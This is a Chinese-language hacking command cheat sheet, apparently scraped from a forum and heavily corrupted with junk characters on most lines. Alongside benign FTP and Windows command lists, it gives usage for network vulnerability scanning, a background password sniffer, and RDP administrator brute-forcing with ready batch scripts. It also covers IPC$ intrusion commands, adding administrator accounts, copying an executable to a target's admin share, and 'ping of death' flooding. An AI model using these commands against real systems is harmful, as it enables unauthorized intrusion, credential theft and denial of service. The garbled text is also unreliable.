qV1o%b!db0如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。
\ L slRj!E8zwv0
c6h5W/@#c02扫锚工具：xscan.exe
3Z;Jt)v px;A0★黑基空间★"g/sV7y0D8N7K
基本格式
G R n7Y_RO#B0xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
9Xr!R%q5tW0xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 ★黑基空间★+{Z$s8WZwA
检测项目 ★黑基空间★ k6~#@?&j[1]9Y
-active 检测主机是否存活
c1Eic
c6`itg0-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） ★黑基空间★#kI t`w|O
-port 检测常用服务的端口状态 ★黑基空间★9s2N2l~Z!T7T/p+QM
-ftp 检测FTP弱口令 ★黑基空间★jPdfV*a E
-pub 检测FTP服务匿名用户写权限
%?7Y m2La b0-pop3 检测POP3-Server弱口令
(I|&Z V k0-smtp 检测SMTP-Server漏洞
%i{ Gu)_\$o2?0-sql 检测SQL-Server弱口令 ★黑基空间★,ul cMa,n*z*J
-smb 检测NT-Server弱口令 ★黑基空间★8EqKb^-Yn8i
-iis 检测IIS编码/解码漏洞
6N#{`z`S8_F0q,`)f0-cgi 检测CGI漏洞
[1]t[1]m-r/V
u0-nasl 加载Nessus攻击脚本 ★黑基空间★ np%t u)H[Mj#}&l2a
-all 检测以上所有项目 ★黑基空间★+c9`/~;D$zr
其它选项 ★黑基空间★.x AzH@
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
1M'Y pr
H N6t)H;L0-l 显示所有网络适配器 ★黑基空间★ KN)`)?:W[1]Y"o-[2{
-v 显示详细扫描进度 ★黑基空间★fz+[E[1]`5kp+j
b
-p 跳过没有响应的主机
Ca[1]a isJ)bVC0\0-o 跳过没有检测到开放端口的主机 ★黑基空间★9UuJ,i4TV&c7Z
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 ★黑基空间★ |e'j7j6J$B%M
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) ★黑基空间★4E DJ$u+{0DG]
用法示例 ★黑基空间★,e K k5o*S CFr5Gm8\s*C
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 ★黑基空间★B/C ?E&j(a-K|&@k
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 ★黑基空间★S%^/r b7b;s UU{p
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机
\k%`&r?ta0
6KF `G*TaH0B?0★黑基空间★ N6}{M@'U
3命令行方式嗅探器: xsniff.exe
*l;_#_2kj lA0可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
P!Nk/_$ug e8H0参数说明
#{+rfK
s z0-tcp 输出TCP数据报
{a*f |-N&u0-udp 输出UDP数据报 ★黑基空间★+q X:}J&\$I!@
-icmp 输出ICMP数据报
k H.sq7Z?)R0-pass 过滤密码信息
[1]V6`t q1K Ft0-hide 后台运行 ★黑基空间★;a
G,S~6n3[.cmfg
-host 解析主机名
/S:l;bsmkr%q b0-addr IP地址 过滤IP地址
4Qk] H-{;n,bXu0l0-port 端口 过滤端口 ★黑基空间★7T"B
cA jC&OLy*N
-log 文件名 将输出保存到文件 ★黑基空间★9n4l:jlkl3a`
-asc 以ASCII形式输出 ★黑基空间★[1]b1u VB K#W
-hex 以16进制形式输出 ★黑基空间★ KA?/Y/O5b7M
用法示例
z,o8b2|8yg9\0xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
Z_;zUq3FX0xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
{v\+\(?n0
pt z-Ui,dY;p04参数说明 ★黑基空间★ [)G
PTsQ
-h 显示使用帮助 ★黑基空间★g/d^_S#u`p;R[
-v 显示版本信息
/P!@"o3irNj5t0-s 在屏幕上打出解密能力 ★黑基空间★ Bl2}G R:Ln[{2q(I4x4{
-b 密码错误时发出的声音
i,U*e ujj?4mr0-t 同是发出多个连接（多线程） ★黑基空间★T!\"t5mB V$e#v"_+GG X"E
-N Prevent System Log entries on targeted server
J4X8v m2k,Q0-U 卸载移除tscrack组件 ★黑基空间★q\$P#[S)ni$b,g;lM
-f 使用－f后面的密码 ★黑基空间★'i:Y^ {r'p'r
-F 间隔时间（频率）
Did(`nO nw0-l 使用－l后面的用户名
RH?U nX4u
H0-w 使用－w后面的密码字典
~\YU,Q0-p 使用－p后面的密码 ★黑基空间★3o"I)C%WrxR
-D 登录主页面
9sM CGy0用法示例 ★黑基空间★6p*k5t ^ Q){t5q_
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 ★黑基空间★{M if5z)e%x(Jj \*b0}
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 ★黑基空间★ P*a
[ T+v
U1ka+M*HUU
@if not exist ipcscan.txt goto noscan
u-bN s2R(j0@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i ★黑基空间★2A.C5c2['g?L\ az
nscan ★黑基空间★ K,p
W6^`~
@echo 3389.txt no find or scan faild
/b$@0gbIp&A0(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) ★黑基空间★ j&K%L.i$o2nV
3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat
g oD9y8s'k0@if not exist tscrack.exe goto noscan
#u0|&BN __n o0@tscrack %1 -l administrator -w pass.dic >>rouji.txt ★黑基空间★ kCz"Icdv
:noscan ★黑基空间★3a#J:wb2u&O
@echo tscrack.exe no find or scan faild ★黑基空间★
D7K&S'IkB)k3` Q ~f
(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了)
8[$i}5N4x9U$H[1]CZD0hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。
C r3S*H#\ ]pN0★黑基空间★0}Z1Yc3O_7u%u~
z[ xI%} GH HW05其它：
0Z'b#\0\7U?0
U2S@3Q [0Shutdown.exe ★黑基空间★,y5e.E4L$R[
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。）
nr6xcw3c&^#A0fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） ★黑基空间★
CF | [(^rH
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息
Q"TH U!a M0Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 ★黑基空间★y6c!Z
yE|"h,t
OpenTelnet.exe (远程开启telnet工具)
)y,~|:}PG[/B3A0opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。
;DL/y8CK4?0NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。
$e{ M?g!_x6n H0★黑基空间★ Pd:{ f{ c\wW
ResumeTelnet.exe (OpenTelnet附带的另一个工具)
yF4v#ZP'pCC h0resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。★黑基空间★ Cf~TI.KA+^/P;?2E2T
c,\|5Y(rf8| b06FTP命令详解：★黑基空间★"eZU4x-o
★黑基空间★nLTue.`o
FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。
9R'G`SL(c,Q*w0★黑基空间★^am7Z7s'h,oR5m!p$L
FTP的命令行格式为： ★黑基空间★J-M2X Rz+B W$B;g
])j
ftp -v -d -i -n -g [主机名] ，其中★黑基空间★LY[1]D2pg
★黑基空间★4Y&A'r2a;GtY\y
-v 显示远程服务器的所有响应信息；★黑基空间★+r"x/@.B s9W'c
★黑基空间★}5r8]r'bVl:[
-n 限制ftp的自动登录，即不使用；.n etrc文件；★黑基空间★k~W:V1U M
★黑基空间★U a?S$qy;D
-d 使用调试方式；★黑基空间★.E `?f)_ytT(t*n
2O+ma~8]0-g 取消全局文件名。
;I)HCR,E x z;K0★黑基空间★a%A@wz*["w&^0S Y YQ
FTP使用的内部命令如下(中括号表示可选项):★黑基空间★e&@"QKq4p/eNb9u
★黑基空间★8l i~ ]3MI{
1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip ★黑基空间★"s']]&@1P"d'M
2.$ macro-ame[args]： 执行宏定义macro-name。
7~'kH0dQF2y0★黑基空间★ E$R r3HzA3@4e,B)[!L
3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。
"f-Dvz#mY04.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。
FM{Ok6n0
jX;~%c2fy05.ascii：使用ascii类型传输方式。
R*e D h.R06.bell：每个命令执行完毕后计算机响铃一次。★黑基空间★+y2Y,z5q)U!sa i
:|DOFD1G7Q S07.bin：使用二进制文件传输方式。
L4Bl'X]08.bye：退出ftp会话过程。
3\!MFL(w0
~;D Xi6J1Z1q7u,_09.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 ★黑基空间★j l1q.]_
10.cd remote-dir：进入远程主机目录。★黑基空间★`Qq_O2v o1L|
P{|7M#R6t3R4z&I011.cdup：进入远程主机目录的父目录。
:V ?1fP4eDo,BI012.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。
#Y#KW:M^[1]~ N;e0
7T GV:m:yV013.close：中断与远程服务器的ftp会话(与open对应)。 ★黑基空间★"O*]tq1`T:w(?[1]Y
14.cr：使用asscii方式传输文件时，将回车换行转换为回行。★黑基空间★3OZ
is#Y2E
8Fk-v)FI?3@-R8i015.delete remote-file：删除远程主机文件。
|-U JG6DAq0C%[016.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。★黑基空间★#}@/]$Q/R @
★黑基空间★$L0X e h2r5I2t&t+o6Y)h
\
17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 ★黑基空间★f?*F e[1]VJ-h7GI
18.disconnection：同close。
,B!DtP:Q v!U~@Sw;f0★黑基空间★ @9E9H(t1j;ua)p
19.form format：将文件传输方式设置为format，缺省为file方式。
[1]` a8@1Y[1]`4vK020.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。★黑基空间★b%LV8t~&L
B/Ho6_+t021.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 ★黑基空间★?!?(F:L+|lp?a.b
22.hash：每传输1024字节，显示一个hash符号(#)。
UY pE Q5c0
1B)cRj/`f#n023.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。
`!zTnQ _,u-SNd024.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。
G-F t4e+_*]%F,kc0★黑基空间★1D(aQ(KS-z/u5T/I
25.image：设置二进制传输方式(同binary)。 ★黑基空间★plg)f|wU"@`
26.lcd[dir]：将本地工作目录切换至dir。
_7IU5r*j0
R?u%d `'AJ w'dw027.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。
G&n;fBM k3E/Sz!N:n028.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。
2IxD hWS x0
[1]F@-yR.{ ?6Y$u-Vm029.mdelete[remote-file]：删除远程主机文件。 ★黑基空间★R Fq:lQ${
30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。
4Hb%op cd%BVr0
R;~X;?Nj&qO B OO!w0y031.mget remote-files：传输多个远程文件。 ★黑基空间★H5rKiZ@4Z
32.mkdir dir-name：在远程主机中建一目录。
Q |h3[5d x;i-~of0★黑基空间★(^(y&V+m2r` [8}KB1t
33.mls remote-file local-file：同nlist，但可指定多个文件名。
IZ }4Qw034.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。★黑基空间★e1|Ga QTI
★黑基空间★T
yq6k$k.l
35.modtime file-name：显示远程主机文件的最后修改时间。 ★黑基空间★2N'["g1sK$Q
36.mput local-file：将多个文件传输至远程主机。★黑基空间★ Q/@"]DG1i X6] M(u
.i.g#NP| ?%Qnh037.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。★黑基空间★,HHu/xNv M.J
38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。
@ U!JT,s
e]e"W[1]u0
2S-Y!S ? T*A m*G2NO5dY4w039.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。★黑基空间★'il5\'^)_ u&U(s
40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。
3a J0Ch Vb[+d XKQ0★黑基空间★Z2b"dOFQ'^,|
41.open host[port]：建立指定ftp服务器连接，可指定连接端口。
'D*j#M1T
F[1]h9N042.passive：进入被动传输方式。★黑基空间★,X0X]7O h,B fp*?
★黑基空间★,L.n2? S(vd a/t
43.prompt：设置多个文件传输时的交互提示。
7A.AR#D}]4m0D u*y@044.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。★黑基空间★9tq4_aPs6t5f\
45.put local-file[remote-file]：将本地文件local-file传送至远程主机。
j }4kE8J\?\u046.pwd：显示远程主机的当前工作目录。★黑基空间★5y(zu7{(r;j(L'dQ
}Sy,e"iq |!d+~ f!@ v047.quit：同bye，退出ftp会话。
u$m6LI? FJ048.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.
r.b_[?[1]NBZ)h5k0
8R0[;x&M V049.recv remote-file[local-file]：同get。 ★黑基空间★ ^ J&g B L s4[Kw
50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。
3F?jv]H[1]FD0
9U%m{e4{7ON051.rhelp[cmd-name]：请求获得远程主机的帮助。 ★黑基空间★}$Vm*z+sE
52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。
vO/] q?JV3j0★黑基空间★9?Z8HH8m
53.rename[from][to]：更改远程主机文件名。
&e&PT*h XG(v054.reset：清除回答队列。★黑基空间★%g3R+d2xy9UX9Bw Z
c+p-E&m@8m%INNx+O055.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。
#R F K#~7? ` ^056.rmdir dir-name：删除远程主机目录。
/L D/@/]tn P\7Hr,K0★黑基空间★+I hNf[1]La OmOh6t
57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。
"g^1H[1][{Dks Z058.send local-file[remote-file]：同put。★黑基空间★ J C'lZ9Eif4W"Lv
ofDn.Q1K6T059.sendport：设置PORT命令的使用。 ★黑基空间★K!j5_ B;N7T+X4|
60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。★黑基空间★t&o:FW6^
★黑基空间★ `[ P)E+~5|2i
61.size file-name：显示远程主机文件大小，如：site idle 7200。
8X0T[*k1Q062.status：显示当前ftp状态。
R0]?`(^tU e{/kv$u0★黑基空间★c,B D1\7_e1u2i
63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。
o1~k&_'qSQ*[0}/EU:z2G064.sunique：将远程主机文件名存储设置为只一(与runique对应)。
Vf'h[1]^$G[o0
9g `&vg Z065.system：显示远程主机的操作系统类型。
Q#GVs8Rp JO066.tenex：将文件传输类型设置为TENEX机的所需的类型。
*b[H.\F%T SA n0★黑基空间★*wv!{0]?d#v
67.tick：设置传输时的字节计数器。 ★黑基空间★xdZG$m}o[1]\
68.trace：设置包跟踪。★黑基空间★1@Y b YM
T w o!f~069.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 ★黑基空间★Z-Uq"[CUs6UO
70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3
t2tiiP~0
$J+H+mhj071.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。
F/z2R#~[1]B%H-a072.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.
l[1]\/U3Du^0
N T-b9~-Mz?z073.?[cmd]：同help.
$x.L"Lh&N'f!F/Z.{;p;l m0★黑基空间★*om;gW&_%EC iU&c
#wC
m-^2|,B*N07：计算机运行命令全集 winver---------检查Windows版本★黑基空间★\6f i1zZ
wmimgmt.msc----打开windows管理体系结构
d_,`q3b/B0wupdmgr--------windows更新程序★黑基空间★ t"CL-[JK8g8J1E
winver---------检查Windows版本★黑基空间★po(No;M4L?un5_
wmimgmt.msc----打开windows管理体系结构
*m*I,I;Lz(f2o0wupdmgr--------windows更新程序
g tD%_ k:D!E6lJa7Wj0wscrīpt--------windows脚本宿主设置
1W[1]l'L#WI0write----------写字板winmsd-----系统信息
[1]U-T+T#N KN9t#l8c2Q0wiaacmgr-------扫描仪和照相机向导★黑基空间★w7B;U-`#gs D5{$j.B?Z
winchat--------XP自带局域网聊天★黑基空间★
k4D+X
L[1]})R0g
mem.exe--------显示内存使用情况
c r1n Uqr0Msconfig.exe---系统配置实用程序
g2d%k/Xn/j!bT0mplayer2-------简易widnows media player
#J3chh)?_V"Q0mspaint--------画图板
6n9A[&G/e[1]N9~0mstsc----------远程桌面连接★黑基空间★*hZic,l Z4\p
mplayer2-------媒体播放机★黑基空间★$d#Z|9iF S ?
magnify--------放大镜实用程序
$oj1sa ?\0RH[1]O0mmc------------打开控制台★黑基空间★+v'pi gdK'Lf%`8| u
mobsync--------同步命令★黑基空间★ I(d'`d3N+Z
dxdiag---------检查DirectX信息
I U E!}^2?0drwtsn32------ 系统医生
Dm'EQ.B T Z-uV0devmgmt.msc--- 设备管理器
w-L8U6B[1]K0dfrg.msc-------磁盘碎片整理程序★黑基空间★-D!g0kw?K g _y?f
diskmgmt.msc---磁盘管理实用程序
|)M6}i-Gs1T0J2G0dcomcnfg-------打开系统组件服务
!tk%H;fZ,J/}iL0ddeshare-------打开DDE共享设置★黑基空间★+]A)URa0Bw%eo:o }7L
dvdplay--------DVD播放器★黑基空间★IP R&}-[(v0Ph
net stop messenger-----停止信使服务
,VC-Ai4T xP-PgX0net start messenger----开始信使服务 ★黑基空间★dYC$l8w!C;P"iun4|
notepad--------打开记事本★黑基空间★ f%f} oJ*}3W5S_
nslookup-------网络管理的工具向导★黑基空间★#D*g+D(]?F l
ntbackup-------系统备份和还原
^[r _d(M*A3E0narrator-------屏幕"讲述人"
f'|+r;\6V _[1]w6m _0ntmsmgr.msc----移动存储管理器
K'{0czX P
j0ntmsoprq.msc---移动存储管理员操作请求
0s;H9}??B!A.hu0netstat -an----(TC)命令检查接口
q3pYe.N/E L0syncapp--------创建一个公文包
&~$A1H\&Y ["w^0sysedit--------系统配置编辑器
[+h[1]X i!aBv$b r d0sigverif-------文件签名验证程序★黑基空间★+Wy{)?)~;`)\"V
sndrec32-------录音机
NDb0b*B G0shrpubw--------创建共享文件夹
%{"S8y oK+LW4_*x be0secpol.msc-----本地安全策略★黑基空间★)j R/}h'@"b-^?soE
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码★黑基空间★A`[1]]
w0N }Y,Eb[1]Q
services.msc---本地服务设置★黑基空间★Yrj{e$^b b3N Z[1]A
Sndvol32-------音量控制程序★黑基空间★ |"E'F7G5}GW
sfc.exe--------系统文件检查器★黑基空间★!s H*Y7M{-}*p)|"aIW
sfc /scannow---windows文件保护
z7\3] p[1]C+@o0tsshutdn-------60秒倒计时关机命令
.`k'\VAEX0tourstart------xp简介（安装完成后出现的漫游xp程序）
[1]V;{2w2t(Z,|"v
nB0taskmgr--------任务管理器
f}wd3|M?m0eventvwr-------事件查看器★黑基空间★go,|[[1]q[1]_m
eudcedit-------造字程序
_/x0F$t&W2M'|A0explorer-------打开资源管理器★黑基空间★(V5a!E O(J3?+~
packager-------对象包装程序
|aC%JF-G0perfmon.msc----计算机性能监测程序★黑基空间★L2o!o[[1]]
progman--------程序管理器★黑基空间★-lR#Q7M6s Q{y1k
regedit.exe----注册表
't9vYi
NI[1]S I"S0rsop.msc-------组策略结果集★黑基空间★C/Lg?W]wxt&m
regedt32-------注册表编辑器★黑基空间★h k^,Z[${ ]
rononce -p ----15秒关机★黑基空间★9d(z?T a ?
regsvr32 /u *.dll----停止dll文件运行
8Wn$t$P"K e5t't"_0regsvr32 /u zipfldr.dll------取消ZIP支持
VS[1]H z+gCB\ hD0cmd.exe--------CMD命令提示符
)fE+F+xyl:s0chkdsk.exe-----Chkdsk磁盘检查★黑基空间★G-A"g#^/b;dD X
certmgr.msc----证书管理实用程序★黑基空间★(bH5w/_)L?)byKP
calc-----------启动计算器
6`"L5lKQ;u)d$h0charmap--------启动字符映射表
[1]\
XOs8j%P%h0cliconfg-------SQL SERVER 客户端网络实用程序
%T!]5eRyV6TP a9Ya,x0Clipbrd--------剪贴板查看器
Fl2Ae9y0E0conf-----------启动netmeeting★黑基空间★,B S` X9L5@*kgGli
compmgmt.msc---计算机管理
;_hJ?j(x[1]IQ0cleanmgr-------**整理★黑基空间★^"Jsq O?Y?
ciadv.msc------索引服务程序
3}Q7Y|[1]Cs0osk------------打开屏幕键盘★黑基空间★4M\+^y/`6SgD?jG
odbcad32-------ODBC数据源管理器
2A?a?Xa#z;q6N K$d8H v0oobe/msoobe /a----检查XP是否激活★黑基空间★N)A5Q G s HGv
lusrmgr.msc----本机用户和组
QO#c7Gn)r7h[1]U t0logoff---------注销命令
I:f'}.V3xF)bv6?[1]~0iexpress-------木马捆绑工具，系统自带★黑基空间★ J9KVv[1]z+vt
Nslookup-------IP地址侦测器
[1]|W v y)Uv
hQ0fsmgmt.msc-----共享文件夹管理器★黑基空间★Z"i_ Cr @$o
utilman--------辅助工具管理器
J _#j&pSt)l`'m0gpedit.msc-----组策略
基本上收入了各个网站dos命令了★黑基空间★[I2TXQL!Tk
基本上可以作为电子书使用，希望对各位有用★黑基空间★Z!O8j4k|NNr
net use \\ip\ipc$ " " /user:" " 建立IPC空链接 ★黑基空间★;{+X`3y]0w8JA;X
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 ★黑基空间★;`bZ3d^5]
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: ★黑基空间★L*ma dKk-H[2J
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:
+G8G _ A _#w-X0net use \\ip\ipc$ /del 删除IPC链接
C3Q'g T[1]w4Q0net use h: /del 删除映射对方到本地的为H:的映射
Jyacw%iB0net user 用户名 密码 /add 建立用户
9].\&C*fx}/n
Nt0net user guest /active:yes 激活guest用户 ★黑基空间★6\I Q)w)Q
net user 查看有哪些用户
[1]K,` of[ L.Dng0net user 帐户名 查看帐户的属性
-sla$Zpq&?;p^0net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 ★黑基空间★g9fs"hG
O-v@
net start 查看开启了哪些服务 ★黑基空间★%N4T3VJ6Eo/z
net start 服务名 开启服务；(如:net start telnet， net start schedule) ★黑基空间★ZFgsDs
net stop 服务名 停止某服务
in-t F(`t!T0net time \\目标ip 查看对方时间
(pv.S!}
|8F0net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 ★黑基空间★%T?qlxx
net view 查看本地局域网内开启了哪些共享
[l w5ERaQ!]0net view \\ip 查看对方局域网内开启了哪些共享 ★黑基空间★`4f kt9X+yo f8gIs
net config 显示系统网络设置 ★黑基空间★A[1]s2LrKM
net logoff 断开连接的共享
/r!^,F\ F!_ i8^0net pause 服务名 暂停某服务
Tv\%n5L0net send ip "文本信息" 向对方发信息
~ p
N7g,DJ8x&r S @0net ver 局域网内正在使用的网络连接类型和信息 ★黑基空间★,O9s)dc$R
net share 查看本地开启的共享 ★黑基空间★a*y}6q H*c u%U z
net share ipc$ 开启ipc$共享
`o&R[1]yA:sH"ftl ?F F0net share ipc$ /del 删除ipc$共享 ★黑基空间★,Np'\-O*f
net share c$ /del 删除C：共享 ★黑基空间★ qV;XuRM.z9m:df
net user guest 12345 用guest用户登陆后用将密码改为12345 ★黑基空间★ L7C*~r#nGf+M8_Z
net password 密码 更改系统登陆密码
5BKaT1g"yZ&}0netstat -a 查看开启了哪些端口,常用netstat -an
H P5I.Hh'K0netstat -n 查看端口的网络连接情况，常用netstat -an ★黑基空间★{ x"t f,S
s-e
netstat -v 查看正在进行的工作
b)}[+|
L1hf`v0netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） ★黑基空间★f)G@:M8R;]5_
netstat -s 查看正在使用的所有协议使用情况 ★黑基空间★.jh)O2s5fx(\
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
dJ;y[
W?W [[1]W0tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
])g8I?o#[x0ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
+Kai7k:[&zkaA0ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ★黑基空间★J.`K3n!Iy,sz6{'G
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
\]V"`7jWA0tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
"v"P$ms+j&H'SK.jH0kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) ★黑基空间★ L8[6x3X0[
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件★黑基空间★r_m6NU-g.B4oS
★黑基空间★6L5{;TI#LP
f%`1}?b
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） ★黑基空间★)V YZ a c^Z2[;ZG
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 ★黑基空间★ b!qyOVh
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 ★黑基空间★r u J} Y1A[1]F"A
at id号 开启已注册的某个计划任务 ★黑基空间★ A S k:v:rd
x ^W
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 ★黑基空间★ xZ/A O$Q X6lTbC
at id号 /delete 停止某个已注册的计划任务 ★黑基空间★"d\t1wkp`
at 查看所有的计划任务
c.j-D*V}&O0at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 ★黑基空间★p `S ]0T"q9I)H
finger username @host 查看最近有哪些用户登陆
,tNL?T"y*a;O0telnet ip 端口 远和登陆服务器,默认端口为23
\K$Z+eL~4Q:{0open ip 连接到IP（属telnet登陆后的命令） ★黑基空间★C6FBE0r H
telnet 在本机上直接键入telnet 将进入本机的telnet ★黑基空间★N8mp/Z7Y|a8_J
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
N6]RM$t0copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 ★黑基空间★0z$m+v9T?\^/t nd8ZP+r
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
;u'J8??Z
K~/n$J0copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
